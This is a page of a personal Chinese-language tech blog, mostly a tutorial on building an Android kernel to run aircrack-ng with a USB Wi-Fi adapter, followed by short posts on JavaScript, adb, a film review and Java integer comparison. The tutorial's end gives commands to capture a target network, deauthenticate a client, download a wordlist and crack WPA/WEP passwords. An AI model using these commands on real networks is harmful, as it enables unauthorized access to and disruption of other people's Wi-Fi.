Weil Jimmer's BlogWeil Jimmer's Blog


Category:Experience

Found 53 records. At Page 9 / 11.

Aircack-ng on Android Using Wireless Adapter + OTG Compile Kernel

No Comments
-
更新於 2017-05-19 19:27:49

警告:若本心得損壞了您的裝置,本人不負任何責任!我也沒必要回答您的任何問題!
本方法僅作測試用!不做非法用途,使用後,法律責任請自行負擔!

說明:使用WIFI USB 在手機/平板上實現Aircrack-ng WIFI 攻擊。開出 Monitor mode。進行各種測試。像是:DeAuth、FakeAuth、Crack WPA/WPA2/WEP Password、ARP……。各種超乎想像的攻擊,你覺得自己的Wifi安全嗎?我會回答:極度不安全。你呢?

首先我要說這一路完成是多麼的不容易,必須要有「耐心」,不畏懼困難與失敗不斷一再地嘗試,才可以通往成功之路。(我失敗的次數挺嚇人的,失敗30次以上,花了四個工作天才完成。)

和我用相同裝置(SM-T235Y)的人就可以免除這些動作,因為我已經編譯好一個boot.img公開下載,最下面有下載地址(要先裝好CM12.1,XDA有ROM下載地址,接著再刷我編譯的核心就可以了)。

※這篇主要是一篇心得文章,意思是我不太想回答別人的問題,但會盡我所能的詳述我各種遇上的困難與解決方法。

準備工具:

JDK、NDK、Build-Essential……LIB等。

手機/平板 、 OTG線(USB母、Mirco USB公) 、 支援Monitor Mode的無線網卡USB。

ROM 安裝包(boot.img)、 Kernel Source。

-----

我準備的是:Samsung Galaxy Tab 4 7.0 LTE T235Y 、 TP-Link WN722N。

建議開始編譯前,先調查好支援的網卡晶片型號是什麼,以及是否可以成功開出Mon模式。我之前很大的錯誤點,就是我買了RTL8188CU,難怪開不出Mon。

可以到這個網站去查詢該網卡晶片是否被Aircrack-ng所支援:

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

大致上準備完畢就可以開始編譯工作,如果你的手機/平板很熱門,網路上有人開發出支援網卡的核心的話,就可以跳過這步。

第一步,必須在Ubuntu的環境下進行編譯核心,並且安裝好必要組件(網路上搜尋就有一堆教學)

開啟終端機,進入先解壓縮核心,tar xvf Kerenl_Source,然後 cd 進去資料夾內。

cd Kernel_Source_Dir

有些教學可能會要使用者先Clean,不過在這之前,我們要先確定GCC編譯工具的位置,就是所下載的NDK,解壓縮後裡面會有toolchains,進去裡面找到「合適」的GCC。

(可能要先去搜尋你手機或平板的CPU是什麼型號,建議可以先去Google Play下載CPU Spy,就會知道用什麼版本號的GCC,要對應正確的版本,否則會編譯失敗,如下圖,就是編譯失敗的結果。)

確定好,GCC的路徑之後,匯入交叉編譯的變數裡面。或是直接更改Make檔案。記得ARCH一定要設定成arm,接著就執行make clean && make mrproper,示例代碼如下。

(不一定完全符合你裝置的型號!要自己去匹配正確的GCC編譯工具,當初我就卡死在這,明明照教學卻一直編譯失敗)

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make clean && make mrproper

照理是不應該出現Command Not Found,如果跑出這句話,表示GCC沒有正確的匹配到!要檢查路徑是否正確,如果都正常的話,就進入下一步,配置.config檔案。

(我們可以在Make File裡面做一些更改,Extraversion改成你想取的版本號!只能英文小寫,不能有空格,例如:weil-jimmer-build-v1,不超過64個字母為限!)

DEVICE_NAME=裝置名稱(XXXX_deconfig,例如:degaslte_01_defconfig)
可以進入ach/arm/config找尋匹配你裝置的配置檔案。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make DEVICE_NAME

重新配置Linux核心。

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make menuconfig

接著應該會跳出藍底灰介面黑字的畫面。

我們要在裡面配置網卡驅動,使目標驅動Built-in,這樣接上OTG才可以讓網卡正確工作。

詳細配置方法可以參考:

https://support.criticallink.com/redmine/projects/arm9-platforms/wiki/USB_WiFi_Configuration

最後,就是編譯,有些教學會在make 後面加個參數 -j5 之類的,我倒覺得沒差,只是跑多線程編譯,會變比較快而已!

ARCH=arm CROSS_COMPILE=/home/android/Downloads/arm-linux-gnueabi-linaro_4.8.3-2014.04/bin/arm-gnueabi- make

,按下Enter後,就可以去喝個咖啡,看看影片,等個幾十分鐘,最後,就會看到Kernel:arch/arm/boot/zImage is Ready。

到這一步時,又使我卡住了,下一步呢?有不少教學提供參考是,把zImage轉成ZIP,用Recovery刷進去裡面,但是要有AnyKernel.zip而且要符合裝置型號,並不是每台裝置都支持!有AnyKernel.zip之後,就只是把zImage丟進去取代,再刷入裝置。

但,像我這種冷門平板,怎可能有相對應的型號!所以,我們得另求方法,網路上有人又說了,可以在手機上使用 Odin Mobile App,刷入zImage,但也是一樣,只對特定機型有支援而已,而我的裝置還是處於冷門狀態,也不支援這方式!

也有人說:可以使用指令:

zImage=zImage的路徑

fastboot flash zimage zImage

相對的,這是裝置必須支援 bootloader!不過因為我的裝置是三星,所以,沒有bootloader,這方法不可行!

因此我用了一個比較危險但Work的方法!

就是抽取boot.img,切割為 RamDisk + zImage,最後再組合回去!用TWRP刷入裝置boot裡面!

boot.img 怎麼取得?答案就是從 ROM安裝包裡面解壓縮出來!(要從裝置系統分區提取出來也是可行!不過太複雜,不採用。)

接著我們把boot.img透過 Android Kitchen,切割,最後把我們編譯的zImage丟進資料夾取代,最後合成出一個新的boot.img!

Android Kitchen 下載地址:

主要地址:https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

備用地址:http://cht.tw/h/t8f85

當合成好boot.img,就可以來刷入裝置!

刷入成功後,可以確認一下版本號,檢查核心是不是自己所編譯的那個zImage!

成功之後,可以先去Google Play下載一個工具ifconfig或是終端機還是什麼的,總之可以檢查網卡的工具,然後把OTG+天線插入裝置中,檢查是否多出了wlan1。(可能需要用終端機,輸入指令ifconfig wlan1 up。)

(如果沒有找到wlan1,可能需要先複製驅動檔案到/verndo/firmware/,例如我的AR9271天線,就有一個firmware檔案名為htc_9271.fw,可以在 https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo 下載的到,使用Root Explorer複製驅動貼上至「firmware」資料夾,各個裝置可能不太相同!請自行判斷。)

經確認,多了一個 wlan1 網卡,而且移除OTG線,wlan1就消失了,所以可以肯定,就是我們所插入的WIFI usb網卡。

下一步,我們可以去 Google Play 商店上,安裝 Linux Deploy ,

(核心要有支援loopback device,一樣這個可以在內核Linux配置裡面找到,或是直接修改.config檔案,備註:.config檔案屬性是隱藏的。)

CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8

(可能要先關閉SELinux,不對,應該說分區系統的配置最好都設定777,可以去搜尋一下loop device的配置。)

等待安裝完成啟動Linux!

透過 ssh 或是 vnc 連線至 localhost ,密碼預設是 changeme。

成功連線後,進入Linux,

sudo apt-get install ethtool
sudo apt-get install usbutils
sudo apt-get install aircrack-ng
ifconfig wlan1 up
airmon-ng start wlan1

最後 airodump-ng wlan1mon 一下。測試可以抓到資料,就大功告成了!

這就是我冷門平板編譯成功 支援 網卡 loop裝置實現 aircrack on android 的圖片。

萬事俱備,就可以來破解Wifi密碼了。

先監聽一下目標。

airodump-ng wlan1mon

找到目標後,Ctrl+C 取消進程。然後監聽特定目標並存檔。

airodump-ng --bssid BSSID -c CHANNEL -w OUTPUT_FILE_NAME wlan1mon

最後給AP來個DeAuth!

aireplay-ng -0 1 -a AP_MAC -c CLIENT_MAC wlan1mon
    #-0 DeAuth Count.

就可以得到 WPA/WPA2 4-way HandShake 關鍵包。

接著就來 aircrack !爆破WPA2/WPA密碼。

字典檔可以在這下載:http://dazzlepod.com/site_media/txt/passwords.txt

wget http://dazzlepod.com/site_media/txt/passwords.txt
aircrack-ng -w PASSWORD_FILE -b BSSID OUTPUT_CAP_FILE*.cap

WEP則另當別論。用aireplay-ng -3 ARP Attack即可。得到一萬個IVS之後,用aircrack-ng 的 -a 1 WEP 破解模式。

資料下載:

Android Kitchen:

http://cht.tw/h/t8f85

https://mega.nz/#!lEMnAJxB!ftx-JBvkYjoIcpLwwbMIBlBd2ldICK1UnPRpxuAGN6Q

htc9271.fw

http://cht.tw/h/714gi

https://mega.nz/#!EYMDGJZZ!rDA-OzauBA0MhRjVs1sMlW8C0WilFjcu7jBN9e9FzHo

.config (僅供參考,切勿直接使用,裝置不一的話,可能會損壞你的裝置)

http://cht.tw/h/h9cxr

https://mega.nz/#!scVxWSYY!hMzV3AMHC9YMru8rQjMUPyq81q8x7l2n-PpTdY7l1CQ

CM12.1 (FOR SM-T235(Y) Only)

https://www.androidfilehost.com/?fid=24052804347790522

http://cht.tw/h/r6su9

weil-jimmer-wifi-build-v5.img (FOR SM-T235Y CM12.1 Only)

http://cht.tw/h/37tld

https://mega.nz/#!QYFHxTJb!w1whKQ7SPrdtVZdtsPnTepEMPxpDtD2I7tnU2jXSCBk

By Weil Jimmer


This entry was posted in General, Experience, Functions, Note, Tools, Wi-Fi By Weil Jimmer.

JavaScript XML Dom 標籤名稱有冒號的情況 getElementsByTagName

No Comments
-
更新於 2017-05-19 19:42:34

如下:< > 標籤名稱裡面有冒號的情況,要如何getElementsByTagName,查了不少資料都沒有說…感覺是我不懂XML才會這樣。

只知道JQ搜尋的時候冒號前面要加兩條斜槓,但JavaScript不是。

JavaScript 是

xmlDoc.getElementsByTagName("encoded")[0].childNodes[0].nodeValue;

也就是找尋:xml標籤「冒號」,後方的名稱,而不是搜尋冒號前面的名稱,更不是兩個一塊打上去中間加冒號。

錯誤很多次的心得,這次寫個小筆記。


This entry was posted in Experience, Functions, JS, XML By Weil Jimmer.

解決 Android Studio Adb 無法啟動的問題

No Comments
-
更新於 2017-02-18 23:32:33

如上,情況。

通常都是 Port 5037 被佔用,或是已有的adb程序已經被啟動了,只要找到目標程序,並終結掉就正常了。

解決方法可以用 TCPview之類的工具查看,或是超級工作管理員等,找尋其他可能的adb程序。

比如:快快遊戲、QQ、還有啥麼root工具、手機管理工具之類的。殺掉就可以正常運作。


This entry was posted in Experience, Functions By Weil Jimmer.

魔鬼終結者5 劇情/觀後感

No Comments
-
更新於 2016-02-27 17:07:40

打從一開始看完就覺得怪怪,有點混亂了。

去查資料,再重新想一次,一切又解釋通了。

====================

首先,先從第一集講起,第一集凱爾拯救莎菈,然後他生出的小孩康納成為反抗軍領導,這是極度正常,也很好理解。他自己小孩從未來把凱爾送回到過去救母親。

So, 正常的時空,正常的邏輯,姑且叫這個正常的世界為「世界A」。

到了第二集時,未來再送出一個T800及殺手T1000回到過去,這就改寫了歷史,所以未來也跟著改變,如果有看過第三集,有一幕是說:康納本來會和凱特在一起,成為夫婦,但是T800出現了,卻改變未來,而凱特的父親卻是Skynet的重要相關研發人員之一。(國防部部長?)

So, 第二集又再次改變歷史,那我們再次稱這個世界為 世界B 吧。

到了第三集,未來又送回了T800、TX,剩下都不解釋了,改寫未來,改寫歷史,叫做一個新的平行世界C吧,

第四集,這個沒有從未來送回過去,所以沒有改變歷史。

現在可以稍微重整一下思路:

首先世界A是原本應該要發生的,但是,出現了一個分岔點,就是未來送回T800,所以世界A在此消失(應該說變為另一個平行世界吧),主世界變為世界B,後續以此類推。

=============

第五集,處於一個世界C的情況,所以,康納沒有成功擊敗天網,也很正常,或說,康納送回凱爾發生意外很正常。

天網製造了一個T5000,在凱爾被正常傳送到過去 之前 感染了康納,並殺了他的部下。

(很奇特吧,這樣怎麼能說 反抗軍打敗了天網。邏輯不通,但是這不是世界A,也不是世界B,而是 一個新的世界C,所以發生這種事情應該也很正常。就是,康納沒有打敗天網。)

當康納被天網感染,並同化成一個新的半人半機的T3000之後,我猜測,可能搭上了時光機,回到過去,去改寫歷史了,讓天網慢一點誕生,所以如果凱爾到了他們所熟知的審判日的那天,其實是正常的世界,根本沒有審判日,因為天網覺醒的日子又被往後延了,叫做新紀元。

在此刻,凱爾回到更早的年代,所以,凱爾到的那個年代,並沒有被改寫歷史,正常來講是處理世界A,但是因為被送回「T800、T1000」,所以未來也要跟著改變,這點很奇特!

那個T800到底是誰送回去的,而且他怎麼知道這段歷史!匪夷所思。

姑且不追究這個問題,T3000到了還滿後面的時間點,所以,改變是改變後面一點的時間點,不過凱爾說服了莎拉,所以到了 T3000 改變的歷史的那個年代。

這樣就全部解釋通了。唯一可能還有疑點的就是:T3000是世界C的產物,他們回到過去,也理當回到世界A的過去,問題是世界A已經被送來的T800、和T1000給改變了,

而不知道到底是誰送回T800的。因為資料都被刪掉了。

==>既然天網做出T5000,可以感染人類,那天網怎麼可以算是被打敗。科技太先進,看這部片,只會讓我思考,T3000到底是什麼東西!太強大了,有人說T1000感覺比康納厲害,我反倒不覺得,我認為最強的還是T3000、T5000是超級BOSS,感染了康納。

整部片,評分我要給滿差的,因為根本幾乎要時空混亂了。特效啥麼的,還好。有點爛了,跟第三集差不多,我覺得第四部還好一點。

7/10分吧。

By Weil Jimmer


This entry was posted in General, Experience By Weil Jimmer.

int 和 Integer 的比較 Java 程式設計

No Comments
-
更新於 2017-05-19 19:47:56

int test_int_1 = 1;
int test_int_2 = 1;
System.out.println(test_int_1==test_int_2);//true
int test_int_3 = new Integer(1);
int test_int_4 = new Integer(1);
System.out.println(test_int_3==test_int_4);//true
int test_int_5 = new Integer("1");
int test_int_6 = new Integer("1");
System.out.println(test_int_5==test_int_6);//true
int test_int_7 = Integer.valueOf(1);
int test_int_8 = Integer.valueOf(1);
System.out.println(test_int_7==test_int_8);//true
int test_int_9 = Integer.valueOf("1");
int test_int_10 = Integer.valueOf("1");
System.out.println(test_int_9==test_int_10);//true
Integer test_integer_1 = 1;
Integer test_integer_2 = 1;
System.out.println(test_integer_1==test_integer_2);//true
System.out.println(test_integer_1.equals(test_integer_2));//true
Integer test_integer_3 = new Integer("1");
Integer test_integer_4 = new Integer("1");
System.out.println(test_integer_3==test_integer_4);//false
System.out.println(test_integer_3.equals(test_integer_4));//true
Integer test_integer_5 = Integer.valueOf("1");
Integer test_integer_6 = Integer.valueOf("1");
System.out.println(test_integer_5==test_integer_6);//true
System.out.println(test_integer_5.equals(test_integer_6));//true

據我實驗觀察,所得 只要是 int==int 的比較,一定是比較值,若為Integer==int,也一定是比較其值。

唯一為False的情況是當有new出現時:

new Integer("1")==new Integer("1");//false

用 valveOf 得出來的 Integer 類別,進行比較(==),也是 valueOf括號內的值(不管類別是String還是int…)(都小於等於127大於等於負128的情況)是否相等。

test_integer_6 = Integer.valueOf("1");
Integer test_integer_7 = Integer.valueOf(1);
System.out.println(test_integer_6==test_integer_7);//true
System.out.println(test_integer_6.equals(test_integer_7));//true

System.out.println(test_integer_1==test_integer_3);//false
System.out.println(test_integer_1.equals(test_integer_3));//true
System.out.println(test_integer_5==test_integer_3);//false
System.out.println(test_integer_5.equals(test_integer_3));//true
System.out.println(test_integer_7==test_integer_3);//false
System.out.println(test_integer_7.equals(test_integer_3));//true

若 Integer 比較 Integer ,其中之一關鍵字有 new ,== 比較子出來的結果可能就為 False 。

以下為特殊例子!數值小於等於127大於等於負128時不會new,但若不在此區間時,就會以new宣告。

以new宣告的時候==通常都是false,

進行 比較 int 時若其值相同會轉發True。

Integer test_special_1 = Integer.valueOf(127);//等於Integer test_special_1 = 127;
Integer test_special_2 = Integer.valueOf(127);
System.out.println(test_special_1==test_special_2);//true
System.out.println(test_special_1.equals(test_special_2));//true
Integer test_special_3 = Integer.valueOf(128);//等於Integer test_special_1 = 128;
Integer test_special_4 = Integer.valueOf(128);
System.out.println(test_special_3==test_special_4);//false
System.out.println(test_special_3.equals(test_special_4));//true

若本人有誤,歡迎更正。


This entry was posted in Experience, Functions, Java By Weil Jimmer.

最前頁 上一頁  1 2 3 4 5 6 7 8 9 10 11 /11 頁)下一頁 最終頁

Visitor Count

pop
nonenonenone

Note

台灣假新聞橫行,沒一家霉體能信的,網軍側翼到處洗風向,堪憂。

政府根本不怕你拿法律當武器,只怕你放下法律拿起武器

不要和愚蠢的人發生爭執。

支持網路中立性.
Support Net Neutrality.

飽暖思淫欲,
饑寒起盜心。

朱門酒肉臭,
路有凍死骨。

支持臺灣實施
無條件基本收入

歡迎前來本站。

Words Quiz


Search

Music

Blogging Journey

4558days

since our first blog post.

Quotes

The strong do what they can and the weak suffer what they must.

Privacy is your right and ability to be yourself and express yourself without the fear that someone is looking over your shoulder and that you might be punished for being yourself, whatever that may be.

It is quality rather than quantity that matters.

I WANT Internet Freedom.

Reality made most of people lost their childishness.

Justice,Freedom,Knowledge.

Without music life would be a mistake.

Support/Donate

This site also need a little money to maintain operations, not entirely without any cost in the Internet. Your donations will be the best support and power of the site.
MethodBitcoin Address
bitcoin1gtuwCjjVVrNUHPGvW6nsuWGxSwygUv4x
buymeacoffee
Register in linode via invitation link and stay active for three months.Linode

Support The Zeitgeist Movement

The Zeitgeist Movement

The Lie We Live

The Lie We Live

The Questions We Never Ask

The Questions We Never Ask

Man

Man

THE EMPLOYMENT

Man

In The Fall

In The Fall

Facebook is EATING the Internet

Facebook

Categories

Android (7)

Announcement (4)

Arduino (2)

Bash (2)

C (3)

C# (5)

C++ (1)

Experience (53)

Flash (2)

Free (13)

Functions (36)

Games (13)

General (62)

Git (3)

HTML (7)

Java (13)

JS (7)

Mood (24)

NAS (2)

Note (33)

Office (1)

OpenWrt (6)

PHP (9)

Privacy (4)

Product (12)

Python (4)

Software (11)

The Internet (26)

Tools (16)

VB.NET (8)

WebHosting (7)

Wi-Fi (5)

XML (4)